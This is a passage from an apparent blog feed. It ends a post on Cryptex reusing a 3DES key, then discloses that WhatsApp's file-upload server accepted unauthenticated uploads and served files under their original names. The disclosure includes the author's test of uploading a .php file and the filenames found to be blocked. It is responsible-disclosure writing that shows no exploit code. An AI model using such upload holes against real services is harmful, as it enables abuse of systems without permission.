You might still wonder why the remaining blocks are also different. After all, both files have a sequence of asterisks at the end of the file. The reason is because 3DES is used in <a href="https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29">Cipher-Block Chaining (CBC)</a> mode [<a href="http://stackoverflow.com/questions/9091108/cryptencrypt-aes-256-fails-at-encrypting-last-block">2</a>]. Essentially this means that previous processed blocks influence how the current block is encrypted. So once there is a difference between both files, it will influence all the blocks after it.<br />
<br />
To conclude you should never reuse a key. Unfortunately that's exactly what Cryptex is doing: <i>it incorrectly uses a strong industry-standard encryption algorithm in a way that compromises the security of the encrypted files</i>.Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com3tag:blogger.com,1999:blog-3500917063499850097.post-77695735504043467462012-07-28T02:54:00.001+02:002012-07-28T13:57:42.503+02:00WhatsApp Follow Up: Unauthenticated UploadA bit more than two months ago I wrote a rather large post on the <a href="http://www.mathyvanhoef.com/2012/05/whatsapp-considered-insecure.html">lack of security in WhatsApp</a>. The conclusion of that post was that WhatsApp is insecure but they're working on it. Personally I'd never use it to send serious/secret/sensitive messages.<br />
<br />
But not all the security vulnerabilities were explained in that post! There was one more, one that might be very severe. I also contact WhatsApp about this vulnerability and they said it would take some time to fix the issue. Considering that was more than two months ago they've had enough time to fix it. After explaining the problem we'll check if it's still present in the current version of WhatsApp.<br />
<br />
<span style="font-size: x-large;">The Problem</span><br />
<br />
When using WhatsApp it's possible to send attachments to your contacts. The files you send to each other are saved on the server of WhatsApp so the recipient can download them at all times. Uploading is done by sending the following POST request over HTTPS:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAFBn7iVd4UB3wUyc2XuYI6GpOZvXPikC4AyPnEECSXltvZif2xGG4FzB2D6f91ZpX1LQqmOSwKOalC28IJ0EIyZ8gYd9isBT_hidv3VB59R9MIuIfpsO6LaLqTq23kgTuZin4QogS1wuQ/s1600/unauthUpload.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAFBn7iVd4UB3wUyc2XuYI6GpOZvXPikC4AyPnEECSXltvZif2xGG4FzB2D6f91ZpX1LQqmOSwKOalC28IJ0EIyZ8gYd9isBT_hidv3VB59R9MIuIfpsO6LaLqTq23kgTuZin4QogS1wuQ/s1600/unauthUpload.png" /></a></div>
<br />
Notice that no login details are required. For the example shown the file got uploaded to<br />
<blockquote class="tr_bq">
<a href="https://mms303.whatsapp.net/d11/27/17/3/a/3a.html">https://mms303.whatsapp.net/d11/27/17/3/a/3a.html</a>
</blockquote>
which includes the original file name. In fact you can open the above file and see the html file. This means even though files get uploaded with a Content-Type of application/octet-stream they're still being treated as an ordinary HTML file once uploaded. This of course makes you wonder whats happens when sharing php files using WhatsApp. I tried uploading the same file as shown in the screenshot but now I named it <b>3a.php</b>. The upload was successful and the file was saved at<br />
<blockquote class="tr_bq">
<a href="https://mms303.whatsapp.net/d4/27/17/3/a/3a.php">https://mms303.whatsapp.net/d4/27/17/3/a/3a.php</a></blockquote>
but as you'll notice opening .php files is blocked with a 403 error message. Furthermore filenames such as <b>index.php</b> and <b>.htacces</b>s are blocked. So some protection seems to be included to avoid the user from uploading malicious files. Unfortunately I can't further test their server-side security since if I did that, I would be attacking their server and breaking the law.<br />
<br />
So at first sight malicious files can't be uploaded. However only very minimal tests are possible without having permission of WhatsApp to test it in detail. But the fact is that it's not designed with security in mind.<br />
<br />
<span style="font-size: x-large;">Current Situation</span><br />
<br />
After starting my Android emulator again (also after two months) and opening WhatsApp I was greeted with the message that my current version of WhatsApp was out of date. In fact it was so old that it simply couldn't connect to the WhatsApp servers. This seemed good. Maybe they also changed the upload process and it's now all authenticated and secure.<br />
<br />
Unfortunately I got my hopes up too early - the bug wasn't fixed. The method outlined above still works and anyone can upload files. Considering this issue was reported more than two months ago I have decided to make it public in the hopes it will get fixed sooner.<br />
<br />
WhatsApp could give every uploaded file a random filename. All downloaded files should be treated with a Content Type of application/octet-stream, which is currently not being done since the .html file could displayed in the browser. And of course only authentication users should be able to upload files!
<br />
<br />
<span style="font-size: x-large;">Conclusion</span><br />
<br />
As I've said before: watch you when using WhatsApp. Don't use it for any serious or important messages. Don't blindly trust incoming messages.Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com7